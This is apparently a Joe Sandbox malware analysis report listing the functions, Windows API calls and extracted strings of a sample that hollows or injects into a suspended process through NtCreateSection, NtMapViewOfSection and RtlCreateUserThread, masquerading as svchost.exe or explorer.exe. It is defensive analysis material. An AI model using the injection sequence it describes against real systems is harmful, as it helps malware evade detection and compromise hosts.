Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocHeapmemsetwcscpywcslen
String ID:
API String ID: 1807340688-0
Opcode ID: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction ID: 2291175711b854bc4f74fb4265d0f1bd771c1a5bff4f4550b8324bf1b1149364
Opcode Fuzzy Hash: d18a2de789b4fced0d5c5c7af7bdf7f4ac513c7a43bb144637d931b1f82fec87
Instruction Fuzzy Hash: DA3129B1605B4081EB16EF27A5443ECB7A1EB8CFD4F588126AF4D0B7AADF39C4518351

Function 000000014000CCD8 Relevance: 5.1, APIs: 4, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE61
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE74
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CE8F
Part of subcall function 000000014000CE30: HeapFree.KERNEL32 ref: 000000014000CEB1

HeapAlloc.KERNEL32 ref: 000000014000CD11
HeapAlloc.KERNEL32 ref: 000000014000CD42
HeapAlloc.KERNEL32 ref: 000000014000CDB2
HeapFree.KERNEL32 ref: 000000014000CDD8

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: Heap$Free$Alloc
String ID:
API String ID: 3901518246-0
Opcode ID: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction ID: 7f7b652e9f7b58be947c1c734e7a82da3d99598ff0fb71c13e03353473737a2d
Opcode Fuzzy Hash: bb233ee99204156f9138ca45554c95eaa539cc3d4f2a2cc436c5bedac0f56ea0
Instruction Fuzzy Hash: 063142B2211B409BE702DF13EA807A937A4F78CBD0F448429EB4847B65DF79E4A6C740

Function 00000001400112A8 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00000001400112C4
HeapReAlloc.KERNEL32 ref: 0000000140011308
LeaveCriticalSection.KERNEL32 ref: 0000000140011355

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: AllocCriticalHeapSection$EnterLeave
String ID:
API String ID: 830345296-0
Opcode ID: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction ID: 37e1212d5150fef44f5374ae18cee5b2af0a62904f946070966fd9e2c84ce28f
Opcode Fuzzy Hash: 0174f44eaa2d8e27a3169ce146a30e111c1709516ab2c2556cb9a7121bcdce25
Instruction Fuzzy Hash: 7B210872615B4482EB198F66E5403EC6361F78CFD4F548612EB6E4B7AACF38C552C350

Function 0000000140017120 Relevance: 5.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 0000000140017161
malloc.MSVCRT ref: 000000014001717B
MultiByteToWideChar.KERNEL32 ref: 0000000140017196
malloc.MSVCRT ref: 00000001400171B3

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: ByteCharMultiWidemalloc
String ID:
API String ID: 2735977093-0
Opcode ID: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction ID: 61c3440d716b3c64d08436ee48054615140ae5ecb8d8084460387f48d4e9dd56
Opcode Fuzzy Hash: 340bc02c17e4a8e241ea194c94348a7795e75439271f92f6ed283f878bcb1d35
Instruction Fuzzy Hash: BB11C13260878082EB25CF26B41076AB7A4FB89BE4F140328EF9D57BE5DF39C0118704

Function 0000000140011668 Relevance: 5.0, APIs: 4, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000014001167F
HeapFree.KERNEL32 ref: 000000014001169A
HeapFree.KERNEL32 ref: 00000001400116BC
LeaveCriticalSection.KERNEL32 ref: 00000001400116E2

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: CriticalFreeHeapSection$EnterLeave
String ID:
API String ID: 1298188129-0
Opcode ID: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction ID: 5186432533761a1e63310800083548d259c5d54e134ea9fda60ce401f62d664d
Opcode Fuzzy Hash: 5595f30b4037b9aa6adac2c161615a39573475ea320742baef4c0fe7d259a659
Instruction Fuzzy Hash: 76114C76600B4082EB5A9F53E5943E823A0FB9CBC5F4C8416EB091B6A7DF3AC4A5C300

Function 000000014000CE30 Relevance: 5.0, APIs: 4, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000D140: memset.MSVCRT ref: 000000014000D1C3

Part of subcall function 0000000140011968: EnterCriticalSection.KERNEL32 ref: 0000000140011985
Part of subcall function 0000000140011968: HeapFree.KERNEL32 ref: 00000001400119E7
Part of subcall function 0000000140011968: LeaveCriticalSection.KERNEL32 ref: 00000001400119F4

HeapFree.KERNEL32 ref: 000000014000CE61
HeapFree.KERNEL32 ref: 000000014000CE74
HeapFree.KERNEL32 ref: 000000014000CE8F
HeapFree.KERNEL32 ref: 000000014000CEB1

Memory Dump Source

Source File: 00000000.00000002.1948364795.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.1948211369.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949265802.0000000140018000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949789300.000000014001F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949841545.0000000140022000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_file.jbxd

Similarity

API ID: FreeHeap$CriticalSection$EnterLeavememset
String ID:
API String ID: 4254243056-0
Opcode ID: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction ID: bd40ed23f28c7418c8be6727045953eb2e8c2f29468db0d1e18b21a18f306043
Opcode Fuzzy Hash: 2bfe007ce864aac335da932a328f28b9e5c2ec482aeaf7599142f2e4e3f2ebe6
Instruction Fuzzy Hash: FD01C8B5600B8492EB06EB63E9903E923A1FBCDBD0F488416AF0D1B776CF39D4518740

Analysis Process: powershell.exePID: 7216, Parent PID: 1800COMMON

Executed Functions

Function 00007FFD9B8937B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1828485306.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 5b86534c8524b0afe59b57662357e645227b18a14a5c8e3dcc67305ce5c1f501
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: D001677121CB0D8FDB48EF0CE451AA6B7E0FB99364F10056DE58AC36A5D636E882CB45

Analysis Process: powershell.exePID: 7644, Parent PID: 1800COMMON

Executed Functions

Function 00007FFD9B980B74 Relevance: .9, Instructions: 883COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1943963144.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03512dd59b8a4eb54d8985431c059dea1b530c3139e98f17625ba63182929a5a
Instruction ID: a4d56880ae6862f7613a493bbae7d0e9db10927cce82d8a49ce27b2652a7fdfd
Opcode Fuzzy Hash: 03512dd59b8a4eb54d8985431c059dea1b530c3139e98f17625ba63182929a5a
Instruction Fuzzy Hash: C6422622B1EE8D5FE7A69B6C48746B57BE1EF56710B0901FBD08CC71A3DA28AD05C341

Function 00007FFD9B9817EE Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1943963144.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f9f1b46c1b922d61cf8cd9f76fe741ca7a1e5b335fa67215688aaf182c9adc
Instruction ID: 1909b8f181cfcf7f234dafd4203ed843a548fdc6c813cfb2f86ea3643de21d70
Opcode Fuzzy Hash: e2f9f1b46c1b922d61cf8cd9f76fe741ca7a1e5b335fa67215688aaf182c9adc
Instruction Fuzzy Hash: 84410632B2DE1E5FF7B8975C74275B973D1EF88224B45027BD44EC35A6DE38A9024281

Function 00007FFD9B981817 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1943963144.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eae611e077b75bc28eda47b51d16390b41cb8a7312f2d0b33c30607508474de
Instruction ID: 45b54e0a4620f5f5e7686209586a910073c158501751a56b15f86e2961f89e05
Opcode Fuzzy Hash: 4eae611e077b75bc28eda47b51d16390b41cb8a7312f2d0b33c30607508474de
Instruction Fuzzy Hash: B511E922F2ED2E5BF3B8935C74771B923C2EF88218B460276E41DC35A5DE3C6D420182

Function 00007FFD9B980EDC Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1943963144.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 393d637499f237338628550ae9598cbd5b2989a2cfcf9ee52db8b5090fdb2560
Instruction ID: bcd0ba01004ec27e20eb5432c0b8f4f80e87c0b42c42bb73b9cce2b9277973ba
Opcode Fuzzy Hash: 393d637499f237338628550ae9598cbd5b2989a2cfcf9ee52db8b5090fdb2560
Instruction Fuzzy Hash: 4201DB22F2FD1E1BF7B8935C143467956C2DF84B61F5540BAD40DC3596DE189C014381

Function 00007FFD9B9804D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1943963144.00007FFD9B980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 803d70b779626e71b73a8d04ae23513870f50c65f222dd16f648191229e8223f
Instruction ID: 5ef266a86ff8ad2c3676219ad5fe1f3df442a27d225ecbdd4726e2b41fe1fcd2
Opcode Fuzzy Hash: 803d70b779626e71b73a8d04ae23513870f50c65f222dd16f648191229e8223f
Instruction Fuzzy Hash: CAE0D833F0EC2D5FEBB5E6AC28391F86380DF54A2170501B7E91CD3191ED149C114391

Analysis Process: downloaded_file.exePID: 7724, Parent PID: 1800COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	46

Executed Functions

Function 00301000 Relevance: 202.0, APIs: 100, Strings: 15, Instructions: 724COMMON

Download Yara Rule

APIs

Part of subcall function 00318110: LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 0031811E

ExitProcess.KERNEL32 ref: 0030103F
_memset.LIBCMT ref: 0030105C
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00301072
ExitProcess.KERNEL32 ref: 0030107E

Strings

{0F01F64A-5A5B-4CC4-B069-D85368F634DD}, xrefs: 0030149F
{DDA8C395-C285-4429-AF60-F1383F7E39E4}, xrefs: 003014B8
{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 003011B4, 003011EA
{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 00301117, 00301341, 00301368
{16875766-AD57-416F-8330-F0B6BCC3AFF1}, xrefs: 003010D1
{D3378A42-4880-48C8-9826-A27CECC41889}, xrefs: 003012D3
%s\svchost.exe, xrefs: 00301744
{FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}, xrefs: 00301A5D
{7A93683D-6831-4ED6-AF6B-BEBF672AD8B7}, xrefs: 00301ADC
{7E105FD4-6112-4FB9-A722-91E984087449}, xrefs: 0030130E, 00301334
{A3956157-6EDC-4743-A7B9-FF7CDC2529A9}, xrefs: 003014D1
{8D32440A-6991-45E9-84BE-12C6B52AF58D}, xrefs: 00301149, 00301964
{6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}, xrefs: 003019DF
%s\explorer.exe, xrefs: 00301703
%s\cmd.exe, xrefs: 00301788

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$FileLibraryLoadModuleName_memset
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe${0F01F64A-5A5B-4CC4-B069-D85368F634DD}${16875766-AD57-416F-8330-F0B6BCC3AFF1}${6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}${7A93683D-6831-4ED6-AF6B-BEBF672AD8B7}${7E105FD4-6112-4FB9-A722-91E984087449}${8D32440A-6991-45E9-84BE-12C6B52AF58D}${8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}${A3956157-6EDC-4743-A7B9-FF7CDC2529A9}${D3378A42-4880-48C8-9826-A27CECC41889}${DD700AA6-D197-4A4A-838A-B93EA96F236B}${DDA8C395-C285-4429-AF60-F1383F7E39E4}${FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}
API String ID: 3630785697-1529498503
Opcode ID: 4b8f08dff92619335788efe2a3d966763562fbf4dd16112064c6bf736eedf7b3
Instruction ID: 164f6012a254188a58e58620fdb03f5d47675ec8427cee1478b6d24e2cbb3f34
Opcode Fuzzy Hash: 4b8f08dff92619335788efe2a3d966763562fbf4dd16112064c6bf736eedf7b3
Instruction Fuzzy Hash: 8E628170A51218DFEB379FA0EC99B9977B8BB48705F1050A8F60DAA1D1DBB45AC0CF11

Function 003138D0 Relevance: 147.5, APIs: 66, Strings: 18, Instructions: 544
nativestringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 003138D9
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 003138E9
_memset.LIBCMT ref: 00313906
lstrcpyW.KERNEL32(?,?), ref: 00313919

Part of subcall function 00301C60: _wcsrchr.LIBCMT ref: 00301C6C

_memset.LIBCMT ref: 00313940
CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,?), ref: 0031398A
NtCreateSection.NTDLL(00000000,00000006,00000000,000005F0,00000004,08000000,00000000), ref: 00313A0B
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,000005F0,00000002,00000000,00000004), ref: 00313A52
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00313A60
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,000005F0,00000002,00000000,00000004), ref: 00313AAB
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 00313B06
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00313B4F
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00313B5D
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 00313BA8
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 00313BF7
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 00313C3D
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 00313C4B
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 00313C96
_memmove.LIBCMT ref: 00313CBE
_memmove.LIBCMT ref: 00313CF7
_memmove.LIBCMT ref: 00313D30
lstrcpyW.KERNEL32(?,KERNEL32.DLL), ref: 00313D50
lstrcpyW.KERNEL32(?,USER32.DLL), ref: 00313D68
lstrcpyA.KERNEL32(?,LoadLibraryW), ref: 00313D80
lstrcpyA.KERNEL32(?,GetProcAddress), ref: 00313D97
lstrcpyA.KERNEL32(?,Sleep), ref: 00313DAF
lstrcpyA.KERNEL32(?,LoadLibraryA), ref: 00313DC7
lstrcpyA.KERNEL32(?,LocalAlloc), ref: 00313DDE
lstrcpyA.KERNEL32(?,VirtualAlloc), ref: 00313DF6
lstrcpyA.KERNEL32(?,LocalFree), ref: 00313E0E
lstrcpyA.KERNEL32(?,CloseHandle), ref: 00313E25
lstrcpyA.KERNEL32(?,VirtualFree), ref: 00313E3D
lstrcpyA.KERNEL32(?,MessageBoxW), ref: 00313E55
lstrcpyA.KERNEL32(?,VirtualProtect), ref: 00313E6C
_memmove.LIBCMT ref: 00313EA9
CreateEventW.KERNEL32(00000000,00000001,00000000,?), ref: 00313EC5
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 003140C2

Part of subcall function 00305720: GetCurrentProcess.KERNEL32(0037CB2C,?,00313EE3), ref: 00305728
Part of subcall function 00305720: IsWow64Process.KERNEL32(00000000,?,00313EE3), ref: 0030572F
Part of subcall function 00305720: GetProcessHeap.KERNEL32(?,00313EE3), ref: 00305735

GetModuleHandle64.DOWNLOADED_FILE(NTDLL.DLL), ref: 00313EE8
GetProcAddress64.DOWNLOADED_FILE(?,?,RtlCreateUserThread), ref: 00313F0F
X64Call.DOWNLOADED_FILE(?,?,0000000A,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00313F79
WaitForSingleObject.KERNEL32(00000000,00001388), ref: 00313FA0
ResetEvent.KERNEL32(00000000), ref: 00313FB3
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00313FD7
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00313FEB
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00313FFF
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314010
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314021
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314032
NtClose.NTDLL(00000000), ref: 0031403F
NtClose.NTDLL(00000000), ref: 0031404C
NtClose.NTDLL(00000000), ref: 00314059
CloseHandle.KERNEL32(00000000), ref: 00314066
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00314073
ResetEvent.KERNEL32(00000000), ref: 003140A1
CloseHandle.KERNEL32(00000000), ref: 003140AE
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 003140D3
NtClose.NTDLL(00000000), ref: 003140E0
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 003140F4
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314105
NtClose.NTDLL(00000000), ref: 00314112
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314126
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 00314137
NtClose.NTDLL(00000000), ref: 00314144
CloseHandle.KERNEL32(?), ref: 00314151
CloseHandle.KERNEL32(?), ref: 0031415E
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 0031416B

Strings

USER32.DLL, xrefs: 00313D56
NTDLL.DLL, xrefs: 00313EE3
KERNEL32.DLL, xrefs: 00313D44
GetProcAddress, xrefs: 00313D86
LoadLibraryA, xrefs: 00313DB5
VirtualFree, xrefs: 00313E2B
897878765347627341, xrefs: 00313CC8
LocalFree, xrefs: 00313DFC
MessageBoxW, xrefs: 00313E43
777367648777262762, xrefs: 00313D01
CloseHandle, xrefs: 00313E14
LoadLibraryW, xrefs: 00313D6E
LocalAlloc, xrefs: 00313DCD
Sleep, xrefs: 00313D9D
VirtualAlloc, xrefs: 00313DE4
VirtualProtect, xrefs: 00313E5B
D, xrefs: 00313948
RtlCreateUserThread, xrefs: 00313EFC

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Section$View$lstrcpy$Unmap$Close$Process$Wow64$CreateCurrent$Handle_memmove$DisableEventRedirection$Reset_memset$Address64CallHandle64HeapModuleObjectProcSingleWait_wcsrchr
String ID: 777367648777262762$897878765347627341$CloseHandle$D$GetProcAddress$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect
API String ID: 456155699-117320160
Opcode ID: 778d0c2f63ec5a978ad47edb1216f1f1c4a6eee0e51fcb9a5b04390283969c11
Instruction ID: f50091ab440c20804cf0d656af9524036d8fe08315a7399b94b2540c7b0e7294
Opcode Fuzzy Hash: 778d0c2f63ec5a978ad47edb1216f1f1c4a6eee0e51fcb9a5b04390283969c11
Instruction Fuzzy Hash: 20321AB5A40219AFEB25DB64DC8DF9AB778AB48700F1045D8F60DA7290DB74AEC0CF54

Function 00318110 Relevance: 125.2, APIs: 51, Strings: 20, Instructions: 993libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 0031811E
GetProcAddress.KERNEL32(00000000,?), ref: 00318181

Strings

SHLWAPI.DLL, xrefs: 003185CA
NTDLL.DLL, xrefs: 00318119
DBGHELP.DLL, xrefs: 00318E67
CRYPT32.DLL, xrefs: 00319051
n, xrefs: 0031822C
WINMM.DLL, xrefs: 00318D72
SECUR32.DLL, xrefs: 00318F5C
MSI.DLL, xrefs: 00318C7D
WINHTTP.DLL, xrefs: 003188A9
GDI32.DLL, xrefs: 003183E0
WTSAPI32.DLL, xrefs: 0031899E
KERNEL32.DLL, xrefs: 003181F6
5, xrefs: 0031850B
H, xrefs: 00318321
OLE32.DLL, xrefs: 003187B4
SHELL32.DLL, xrefs: 003186BF
WS2_32.DLL, xrefs: 00318A93
USER32.DLL, xrefs: 003182EB
GDIPLUS.DLL, xrefs: 00318B88
ADVAPI32.DLL, xrefs: 003184D5

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: 5$ADVAPI32.DLL$CRYPT32.DLL$DBGHELP.DLL$GDI32.DLL$GDIPLUS.DLL$H$KERNEL32.DLL$MSI.DLL$NTDLL.DLL$OLE32.DLL$SECUR32.DLL$SHELL32.DLL$SHLWAPI.DLL$USER32.DLL$WINHTTP.DLL$WINMM.DLL$WS2_32.DLL$WTSAPI32.DLL$n
API String ID: 2574300362-974314553
Opcode ID: 2c35219de6259df2ac5fba70ea2357958de5f6d9b34d4e6df8344d2d473085c7
Instruction ID: 593c1078d9fed1b2d3bd944752f7a584f1287ff493915a854fdc0db2c72d2fbd
Opcode Fuzzy Hash: 2c35219de6259df2ac5fba70ea2357958de5f6d9b34d4e6df8344d2d473085c7
Instruction Fuzzy Hash: 51A22874905219DFCB6ACF64DC94BEAB7B9FB4C301F1484A9E50AA3240DB74AAC4CF54

Function 003141E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61
registrytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 003141FF
RegCreateKeyExW.KERNELBASE(80000001,?,00000000,00000000,00000000,000F013F,00000000,00301585,00000000), ref: 00314226
RegCloseKey.KERNELBASE(00301585), ref: 00314238
_memset.LIBCMT ref: 00314246
GetSystemTime.KERNEL32(?), ref: 00314265
SystemTimeToFileTime.KERNEL32(?,?), ref: 00314276

Strings

SOFTWARE\%s, xrefs: 003141EE
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 003141E9

Memory Dump Source

